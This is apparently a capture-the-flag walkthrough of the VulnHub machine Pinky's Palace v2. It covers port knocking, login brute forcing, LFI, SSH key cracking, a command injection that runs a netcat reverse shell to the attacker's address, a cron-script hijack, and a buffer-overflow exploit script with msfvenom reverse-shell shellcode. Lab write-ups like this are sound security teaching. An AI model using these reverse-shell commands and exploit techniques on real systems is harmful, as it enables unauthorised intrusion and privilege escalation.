* requires reverse engineering techniques to escalate privileges
Phase 1: Enumeration
During the initial enumeration, Pinky’s Palace v2 exposes just 1 accessible port – a web server:
# nmap -O -sT -sV -p- -T5 10.0.0.5
The web server is running a wordpress blog, and my approach was to start enumerating wordpress data using wpscan. Enuerating the wordpress users on the target.
As the vulnhub description states, you have to add an entry to your /etc/hosts file using the following command as the wordpress isn’t rendering correctly otherwise (you may get a “freezing” response while trying to access it by IP):
echo 10.0.0.5 pinkydb | sudo tee -a /etc/hosts
I’ll be skipping any unnecessary details as the CTF is long and I’m just describing the important findings during my approach to solving the challenge.
wpscan enumerated the following user:
# wpscan -u http://pinkydb –enumerate u
While keeping to enumerate things further, I left a brute-force scan on this user which didn’t discover a useful password running for more than a day, so I wrote down the username for future reference.
Trying any simple easily-guessable password combinations like “admin”, “pinky”, “pinky’s palace” or anything like that didn’t work either.
dirb showed an interesting directory using its default common list, which was standing out except for the regular wordpress directory tree:
# dirb http://10.0.0.5 – Discovering a secret directory
After checking out the contents of the directory there’s a single .txt file residing named “bambam.txt“, containing some numeric values:
Discovering a hidden file using dirb
So my guess was this is either an encoded password or a port knocking sequence. Having in mind the rest of the ports in the initial port scan were reported by nmap as “filtered” rings a bell that this is most likely a port knocking sequence.
There are a few possible combinations using the above values, which can be tested using either a bash for loop or using the -r option of nmap which doesn’t randomize ports and “knocks” them in the provided sequence:
nmap -Pn -sT -r -p666,7000,8890 pinkydb
I’m not sure if there’s _actually_ a correct sequence, or if all the possible options have to be tested as during reboots of the VM a different sequence was required to open the port. Of course there’s a smarter approach to do this, but for such a task it’s not effective to write a script which would calculate all the possible combinations (still if anyone’s into this I suggest swapping the numbers with A, B, C and writing a permutation algorithm which lists all the possible sequences without repetition. It’s not a 5 minute task so like I said above it’s not effective, I tried myself and lost hours on a bogus script which I seem to have wiped).
So if we swap the numbers with letters for readability, we have the following pattern:
A is “8890”
B is “7000”
C is “666”
The possible combinations we have are:
ABC
ACB
BAC
BCA
CAB
CBA
Mathematically speaking the formula is to power the number by itself (i.e. 3^3 = 9) but this self we get three repetitive pairs, so for port knocking it’s actually 6. A small script to test all possible combinations would go like this:
#!/bin/bash
A="8890"
B="7000"
C="666"
cmd="nmap -Pn -sT pinkydb -p"
for i in "$A $B $C"; do $cmd $i; sleep 1; done
for i in $A $C $B; do $cmd $i; sleep 1; done
for i in $B $A $C; do $cmd $i; sleep 1; done
for i in $B $C $A; do $cmd $i; sleep 1; done
for i in $C $A $B; do $cmd $i; sleep 1; done
for i in $C $B $A; do $cmd $i; sleep 1; done
#combinations used to unlock manually:
#for i in 7000 666 8890; do nmap -Pn -sT pinkydb -p $i; sleep 1; done
#for i in 666 7000 8890; do nmap -Pn -sT pinkydb -p $i; sleep 1; done
#for i in 8890 666 7000; do nmap -Pn -sT pinkydb -p $i; sleep 1; done
#for i in 8890 7000 666; do nmap -Pn -sT pinkydb -p $i; sleep 1; done
After running the above script the additional ports reported as filtered earlier should now be accessible:
# nmap -sT -sV –top-ports 1000 pinkydb
And by running my script I just got knocked out. So you have to keep in mind that there’s an unlocking and there’s a locking combination as well. So to isolate the locking combination and to discover what actually unlocks the additional ports I altered the script above as following:
#!/bin/bash
A="8890"
B="7000"
C="666"
cmd="nmap -Pn -sT pinkydb -p"
for i in $A $B $C; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $A $B $C"
read -p "Continue (enter, ctrl+c to exit)?"
for i in $A $C $B; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $A $C $B"
read -p "Continue (enter, ctrl+c to exit)?"
for i in $B $A $C; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $B $A $C"
read -p "Continue (enter, ctrl+c to exit)?"
for i in $B $C $A; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $B $C $A"
read -p "Continue (enter, ctrl+c to exit)?"
for i in $C $A $B; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $C $A $B"
read -p "Continue (enter, ctrl+c to exit)?"
for i in $C $B $A; do $cmd $i; sleep 1; done
nc -vz -w 1 pinkydb 31337
echo "Combination: $C $B $A"
#read -p "Continue (enter, ctrl+c to exit)?"
This way after each port combination the script would output whether port 31337 is already opened and output the actual combination used as well. Of course this is far from optimized code which would not be effective if there was an additional port added to the port knocking sequence, but in this case it works wonders.
What I’ve found using the above script are the following sequences:
UNLOCKING: 7000 666 8890 LOCKING: 8890 666 7000
So to unlock the additional ports the following bash command should work:
for i in 7000 666 8890; do nmap -Pn -sT pinkydb -p$i; done
So now there’s a ssh service accessible, a second web server running on port 7654, and an unknown service on port 31337, which is probably left by the author to be used at a later stage:
Port 31337 – Pinky’s backdoor?
Typing a string wouldn’t do anything and testing for command injection techniques is of no use here.
Phase 2: Vulnerability scan
The web server on port 7654
cewl pinkydb > pinky.wordlist
Although this seems to be unnecessary in this case, I usually go for different variations of a profiled wordlist using either john or sed, by altering all lowercase strings to upper case and merging the lists:
cat pinky.wordlist > wordlist.new; sed -e 's/.*/\L&/' pinky.wordlist >> wordlist.new ; sed -e 's/.*/\U&/' wordlist.new >> wordlist.new
or using JTR‘s rules
john --rules --stdout --wordlist=pinky.wordlist
So the next step is to try to brute-force the login form using the following users: pinky, pinky1337 and the password file from cewl as a wordlist.
# hydra -L users -P pinky.wordlist pinkydb -s 7654 http-post-form “/login.php:user=^USER^&pass=^PASS^:Invalid Username or Password” -vV
User pinky1337 seems to be a false positive, however the credentials with username pinky and password Passione work out of the box:
The very first thing to note except that there’s an RSA key available for download, is the web address url of the page –
Web login form – pinky : Passione
http://pinkydb:7654/pageegap.php?1337=filesselif1001.php
This does seem like a possible LFI vulnerability, and swapping the filename with the string “/etc/passwd” proves this:
http://pinkydb:7654/pageegap.php?1337=/etc/passwd
This does confirm that a user with username “stefano” exists on the box.
Checking the contents of the notes.txt file shows the following notes:
http://pinkydb:7654/credentialsdir1425364865/notes.txt
The pagegaap.php file does not seem to validate any session data so the RSA key could be downloaded either from the browser or directly using wget, as well as the LFI should be written down as a further agent to download any files needed from the webserver:
Getting Stefano’s RSAStefano’s RSA key requries a passphraseRSA Keys’ passphrases can be brute-forced using JTR by converting the key to the appropriate input format john can work with:
ssh2john id_rsa > id_rsa.john; john –wordlist=/usr/share/wordlists/rockyou.txt id_rsa.john
The passphrase of the RSA key is “secretz101“:
Stefano – ssh login – ssh -i id_rsa -l stefano -p 4655
And don’t get too excited as this is just the beginning of it.
Phase 3: Privilege Escalation Prerequisites
This is a phase where it’s actually required to escalate privileges to someone prior to escalating privileges to root.
Upon enumerating stefano’s home directory an application named qsub can be noted within the tools folder:
qsub application
The qsub application which has a suid bit set and would run on behalf of user pinky, seems to require a password to run, and on top of that there aren’t any readable permissions set for the current user. However, since its owned by the www-data group and we have an LFI vulnerability already available running with the permissions of these group, we could download it using wget:
The qsub application is a 64-bit executable which doesnt seem to be prone to any kind of a buffer overflow, but we could leverage a possible command injection vulnerability once the correct password has been found. Using the strings command or checking it through a hex editor wouldn’t work here (unless you have a really penetrative as the application needs to be analyzed dynamically using a debugger following each instruction.
To get the password for the qsub program, run it through a debugger a choice (like edb or gdb) and follow the code. The trick here is that the password is not actually stored in the application itself, but is generated during run-time and equals to the TERM environment variable.
The easiest and most user-friendly way I found to do this, even without any assembly knowledge is using the gdb debugger, breaking the main function and following the code from there:
gdb –args ./qsub l33t
Stepping over a few times would provide some strlen checks which probably lead to the overlength string check resulting in the message “Bad Hacker!”. So the password of the application is actually the current value of the TERM environment variable in the environment where you run the script.
After I tested the password with the value from the TERM environment variable and confirmed the findings are correct, the next step was to made a small test for command injection as the application is writing the user input to a file. As the application is actually vulnerable to this type of attack, spawning a shell on behalf of pinky is already an easy task:
$ ./qsub '`nc -nv 10.0.0.20 443 -e /bin/bash`'
Command Injection on the qsub application – Getting a shell as user pinky
From this point let’s enumerate what user pinky has on the target. As one of the quick references into my penetration testing cheatsheet located within the Insecure / Unhandled file permissions section upon my enumeration after getting a shell earlier I already found a file owned by the group of pinky:
find / -group pinky 2>/dev/null
A suspicious backup.sh file redsiding within /usr/local/bin – owned by the user “demon” and the group of “pinky”
As the file is actually owned by user demon and group pinky, and the shell that has just been spawned with the command injection vulnerability of the qsub application above, in the current shell state you would not be able to read/write to the file. In order to get access to the contents of the file, the group has to be updated to the current user’s permissions:
newgrp
Getting read and write access to /usr/local/bin/backup.sh – Pinky’s Palace v2 (HARD) walkthrough
Now from this point, as this is supposedly a backup file run by a cron job, and as it’s owned by the user demon it’s probably executed with the permissions of the one, so we could just try to override the contents of the file with a new reverse shell session:
Getting a shell with the permissions of user demon – Pinky’s Palace v2 walkthrough
Horray! After overriding the contents of the backup.sh file with a reverse shell command and setting up the nc listener on the local host, after about a minute the target connects back to us with the permissions of the demon user.
If you’ve done decent enumeration on the target, you may have already noticed that the daemon running on port 31337 is actually located within the /daemon directory:
find / -user demon 2>/dev/null
Background: find / -user demon 2>/dev/nullGetting access to the daemon application on port 31337 – Pinky’s Palace v2 walkthrough
One more vital thing to note is that the application is actually run by root:
The /daemon/panel application is run by root
So the /daemon/panel application now has to be downloaded and debugged as there was already a hint when connecting to the port stating this is to be a backdoor into Pinky’s Palace v2, which leads to the next step:
Phase 4: Privilege Escalation
After downloading the daemon application and try to inspect it using a regular debugger you would note that it may be of no use here, as the application actually uses forks. In order to trace any unexpected responses or crashes you have to debug it on an OS level, preferably using ltrace and/or strace.
Here’s an example of catching the SEGFAULT (Segmentation fault) response using both ltrace and strace (Note that the -f option must be used in order to follow forks) by sending an overlength string of 200 A’s:
ltrace -f ./panel
ltrace -f ./panel – Segmentation fault
strace -f ./panel
strace -f ./panel
What happens above is that after 200 of A’s are sent to the application’s input the buffer exceeds its memory size resulting in a Segmentation fault and terminating of the child process. The application though spawns another child process and waits for a connection. A Buffer Overflow condition has now been identified, and the next step is to try to build an exploit for it using the following steps:
-> find the exact offset where the buffer overflow occurs
-> locate shellcode space available
-> find a return address
The exact offset could by found either by just writing the strace result to a file, then increase the string sent through the socket by 1 byte and keep sending it while strace/ltrace is running in the background using a bash loop, and see where the first Segmentation loop occurs:
for i in $(seq 1 200); do python -c "print 'A'*$i" | nc -v localhost 31337; done
Or using the smarter way using gdb’s PEDA plugin which provides, as stated by the author Python Exploit Development Assistance for GDB
After running the application through gdb and triggering the buffer overflow condition, gdb reports that it actually occurs in the handlecmd() function of the application:
RBP is overwritten with the buffer of A’sThe Buffer Overflow occurs within the handlecmd function of the application
In order to find the exact offset, we have to create a unique string pattern using the pattern_create function in gdb-peda, then send the string to the daemon application, check the contents of RSP and use pattern_offset with the exact string stored into the RSP register:
gdb-peda: Finding the exact offset using pattern_offset (showing the contents of RSP)gdb-peda: Finding the exact offset using pattern_offset
Exact offset found at byte 120 – this is the location where the buffer overflow occurs (this is explained a bit more detailed in IppSec’s video below).
So now we have to find a return address, which we would then put after to offset in order to jump to the beginning of the string sent over, which is actually stored into the RSP register. Usually we would want to override the RIP register which contains the next instruction, but in this case the RBP is something like a temporary location to it, which is again explained in the video below. So we actually override the contents of RBP with a return address which would point to the beginning of RSP, where we could put our shellcode.
To search for a jmp instruction within the application type “jmpcall” into gdb-peda’s command line interface:
Finding a return address: call rsp instruction at 0x400cfb
There’s a call rsp instruction located at address 0x400cfb which would be our return address for the exploit.
As there is 120 bytes of shellcode space to work with, and a linux reverse shell on a 64 bit platform (generated using msfvenom) takes 119 bytes we could use the linux/x64/shell_reverse_tcp payload:
import socket
from time import sleep
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xf5\x06\x7c\x87\x70\x76\xed"
buf += "\xbb\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x9f\x2f\x24\x1e\x1a\x74\xb2\xd1\xf4\x58\x73\x82\x38"
buf += "\xe1\xa5\x02\xf7\x06\x7d\x3c\x7a\x76\xed\xaf\xa4\x4e"
buf += "\xf5\x61\x1a\x66\xb7\xd1\xdf\x5e\x73\x82\x1a\x75\xb3"
buf += "\xf3\x0a\xc8\x16\xa6\x28\x79\xe8\xce\x03\x6c\x47\xdf"
buf += "\xe9\x3e\x56\x94\x97\x6f\x12\xa8\x03\x1e\xed\xe8\xbd"
buf += "\x8f\x9b\xd5\x27\x3e\x64\x5d\xfa\x03\x7c\x87\x70\x76"
buf += "\xed\xbb"
ret = "\xfb\x0c\x40\x00"
payload = "A"*(120-len(buf)) + buf + ret
HOST = '127.0.0.1' # The local host
#HOST = '10.0.0.5' # The remote host
PORT = 31337 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
sleep(1)
data = s.recv(1024)
print data
s.send(payload)
print s.recv(1024)
s.close()
Exploit tested in a local environment:
Testing exploit (local environment)
And the only thing left is to run the exploit against the target:
Getting a root shell on Pinky’s Palace v2Capturing the Flag on Pinky’s Palace v2 Greetings to the author of this great CTF @Pink_P4nther who answered all my questions related to the exploit development tasks in a very friendly manner, while keeping the fun for me without unnecessary spoiling.
You may also check out this great video on Pinky’s Palace v2published recently by@IppSec,describing some additional attack vectors at the beginning as well as using a neater port knocking technique during the enumeration phase. IppSec’s video also covers some reverse engineering techniques using the r2 debugger which are worth checking out.